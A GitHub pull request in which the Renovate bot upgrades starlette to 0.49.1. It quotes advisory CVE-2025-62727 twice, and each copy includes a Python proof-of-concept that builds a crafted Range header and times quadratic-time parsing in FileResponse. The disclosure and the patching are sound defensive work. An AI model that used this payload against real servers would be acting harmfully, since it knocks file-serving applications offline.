Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Oct 29, 2025

This PR contains the following updates:

Package Update Change OpenSSF
starlette (changelog) minor ==0.47.2 -> ==0.49.1 OpenSSF Scorecard

GitHub Vulnerability Alerts

CVE-2025-62727

Summary

An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).

Details

Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.

# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS

class FileResponse(Response):
    @​staticmethod
    def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
        ranges: list[tuple[int, int]] = []
        try:
            units, range_ = http_range.split("=", 1)
        except ValueError:
            raise MalformedRangeHeader()

        # [...]

        ranges = [
            (
                int(_[0]) if _[0] else file_size - int(_[1]),
                int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
            )
            for _ in _RANGE_PATTERN.findall(range_) # vulnerable
            if _ != ("", "")
        ]

The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.

The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.

This affects any Starlette application that uses:

  • starlette.staticfiles.StaticFiles (internally returns FileResponse) — starlette/staticfiles.py:178
  • Direct starlette.responses.FileResponse responses

PoC

#!/usr/bin/env python3

import sys
import time

try:
    import starlette
    from starlette.responses import FileResponse
except Exception as e:
    print(f"[ERROR] Failed to import starlette: {e}")
    sys.exit(1)

def build_payload(length: int) -> str:
    """Build the Range header value body: '0' * num_zeros + '0-'"""
    return ("0" * length) + "a-"

def test(header: str, file_size: int) -> float:
    start = time.perf_counter()
    try:
        FileResponse._parse_range_header(header, file_size)
    except Exception:
        pass
    end = time.perf_counter()
    elapsed = end - start
    return elapsed

def run_once(num_zeros: int) -> None:
    range_body = build_payload(num_zeros)
    header = "bytes=" + range_body
    # Use a sufficiently large file_size so upper bounds default to file size
    file_size = max(len(range_body) + 10, 1_000_000)
    
    print(f"[DEBUG] range_body length: {len(range_body)} bytes")
    elapsed_time = test(header, file_size)
    print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")

if __name__ == "__main__":
    print(f"[INFO] Starlette Version: {starlette.__version__}")
    for n in [5000, 10000, 20000, 40000]:
        run_once(n)

"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds

[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds

[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds

[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""

Impact

Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.


Starlette vulnerable to O(n^2) DoS via Range header merging in starlette.responses.FileResponse

CVE-2025-62727 / GHSA-7f5h-v6xp-fcq8

More information

Details

Summary

An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).

Details

Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.

##### starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS

class FileResponse(Response):
    @&#8203;staticmethod
    def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
        ranges: list[tuple[int, int]] = []
        try:
            units, range_ = http_range.split("=", 1)
        except ValueError:
            raise MalformedRangeHeader()

        # [...]

        ranges = [
            (
                int(_[0]) if _[0] else file_size - int(_[1]),
                int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
            )
            for _ in _RANGE_PATTERN.findall(range_) # vulnerable
            if _ != ("", "")
        ]

The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.

The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.

This affects any Starlette application that uses:

  • starlette.staticfiles.StaticFiles (internally returns FileResponse) — starlette/staticfiles.py:178
  • Direct starlette.responses.FileResponse responses
PoC
#!/usr/bin/env python3

import sys
import time

try:
    import starlette
    from starlette.responses import FileResponse
except Exception as e:
    print(f"[ERROR] Failed to import starlette: {e}")
    sys.exit(1)

def build_payload(length: int) -> str:
    """Build the Range header value body: '0' * num_zeros + '0-'"""
    return ("0" * length) + "a-"

def test(header: str, file_size: int) -> float:
    start = time.perf_counter()
    try:
        FileResponse._parse_range_header(header, file_size)
    except Exception:
        pass
    end = time.perf_counter()
    elapsed = end - start
    return elapsed

def run_once(num_zeros: int) -> None:
    range_body = build_payload(num_zeros)
    header = "bytes=" + range_body
    # Use a sufficiently large file_size so upper bounds default to file size
    file_size = max(len(range_body) + 10, 1_000_000)
    
    print(f"[DEBUG] range_body length: {len(range_body)} bytes")
    elapsed_time = test(header, file_size)
    print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")

if __name__ == "__main__":
    print(f"[INFO] Starlette Version: {starlette.__version__}")
    for n in [5000, 10000, 20000, 40000]:
        run_once(n)

"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds

[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds

[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds

[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
Impact

Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

Kludex/starlette (starlette)

v0.49.1: Version 0.49.1

Compare Source

This release fixes a security vulnerability in the parsing logic of the Range header in FileResponse.

You can view the full security advisory: GHSA-7f5h-v6xp-fcq8

Fixed


Full Changelog: Kludex/starlette@0.49.0...0.49.1

v0.49.0: Version 0.49.0

Compare Source

Added

  • Add encoding parameter to Config class #​2996.
  • Support multiple cookie headers in Request.cookies #​3029.
  • Use Literal type for WebSocketEndpoint encoding values #​3027.

Changed

  • Do not pollute exception context in Middleware when using BaseHTTPMiddleware #​2976.

New Contributors

Full Changelog: Kludex/starlette@0.48.0...0.49.0

v0.48.0: Version 0.48.0

Compare Source

Added

  • Add official Python 3.14 support #​3013.

Changed


New Contributors

Full Changelog: Kludex/starlette@0.47.3...0.48.0

v0.47.3: Version 0.47.3

Compare Source

Fixed


New Contributors

Full Changelog: Kludex/starlette@0.47.2...0.47.3


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot temporarily deployed to Vespa Cloud CD October 29, 2025 03:37 Inactive
@esolitos esolitos requested a review from thomasht86 October 29, 2025 14:33
@esolitos
Copy link
Collaborator

I assume this is fine, but checking with @thomasht86

@thomasht86 thomasht86 merged commit 8bf9dab into master Oct 29, 2025
8 checks passed
@thomasht86 thomasht86 deleted the renovate/pypi-starlette-vulnerability branch October 29, 2025 14:42
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants